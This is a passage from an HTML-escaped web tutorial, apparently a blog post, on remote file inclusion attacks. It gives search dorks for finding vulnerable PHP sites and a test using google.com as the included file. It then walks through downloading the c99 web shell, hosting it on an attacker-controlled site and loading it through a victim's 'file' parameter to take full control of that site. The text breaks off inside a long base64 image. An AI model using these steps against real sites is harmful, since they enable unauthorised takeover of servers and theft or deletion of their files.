mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Or&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Inurl:index.php?page=something&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Or&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Inurl:index.php?open=something&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;There are many more dorks for finding RFI vulnerable websites. &lt;/span&gt;&lt;span style=&quot;font-size: 14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;At the end you will find numerous websites similar to the address stated above. But remember, these are sites which may be prone to RFI attack. We have to check further that whether they are vulnerable or not.&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;So go to a particular website in which you want to test RFI attack . for example if your website’s url is: &lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;a href=&quot;http://www.victimwebsite.com/index.php?file=anything&quot;&gt;www.victimwebsite.com/index.php?file=&lt;span style=&quot;color:red&quot;&gt;anything&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri;color:red;mso-ansi-language: EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Replace the red colour text with &lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;a href=&quot;http://google.com/&quot;&gt;http://google.com&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;, so that the url of the target website would be same as:&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt; www.victimwebsite.com/index.php?file=&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;a href=&quot;http://google.com/&quot;&gt;http://google.com&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Now as soon as you press enter,if google homepage is there in the website, it means the website is vulnerable to RFI attack.&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight:normal&quot;&gt;&lt;u style=&quot;text-underline: #000000&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family: Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;EXPLOITING RFI VULNERABILITY&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;2. Now lets look how we can exploit RFI vulnerability .&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt; font-family:Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri&quot; lang=&quot;EN&quot;&gt;&lt;span style=&quot;mso-spacerun:yes&quot;&gt; &lt;/span&gt;&lt;span style=&quot;mso-spacerun:yes&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri&quot;&gt;This is where the concept of web shells come in. A web shell is a script that &lt;span style=&quot;mso-spacerun:yes&quot;&gt;   &lt;/span&gt;can handle simple tasks such as uploading, deleting and executing commands. The most common shell being the c99 but others are available such as the r57 and c100. This basically means that if you get a web shell to execute on an unprotected site, you will have full control over that site - and will be able to upload or delete any file you wish.&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri&quot;&gt;We will use c99 webshell to deploy our attack, you can download the c99 webshell from the link below:&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;a href=&quot;http://www.4shared.com/file/107930574/287131f0/c99shell.html?aff=7637829&quot;&gt;C99 download link&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Now you need to upload this webshell as a text file in your own website(attacker’s website) or in any webhost. After uploading if your url would be: &lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;a href=&quot;http://www.mysite.com/c99.txt&quot;&gt;www.mysite.com/c99.txt&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;, then all you do is to simply put this link at the end of your vulnerable site. Thus the final string that will run the webshell is:&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;a href=&quot;http://www.victimwebsite.com/index.php?file=http://www.mysite.com/c99.txt&quot;&gt;http://www.victimwebsite.com/index.php?file=http://www.mysite.com/c99.txt&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri;mso-bidi-font-family:Calibri; mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family: Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;Note: the question mark should be at the end.&lt;/span&gt;&lt;span style=&quot;font-size:14.0pt;font-family: Calibri;mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri; mso-bidi-font-family:Calibri;mso-ansi-language:EN&quot; lang=&quot;EN&quot;&gt;This will execute in the php as&lt;span style=&quot;mso-spacerun:yes&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri&quot;&gt;include(&#39;&lt;span style=&quot;color:#00CCFF&quot;&gt;http://www.site.com/c99.txt&lt;/span&gt;&#39;); which includes the web shells script in the page.&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:14.0pt;font-family:Calibri&quot;&gt;Now if you succeds to run the web shell in vulnerable website, you will see a screen similar as below&lt;/span&gt;:&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot;&gt;&lt;img src=&quot;data:image/jpeg;base64,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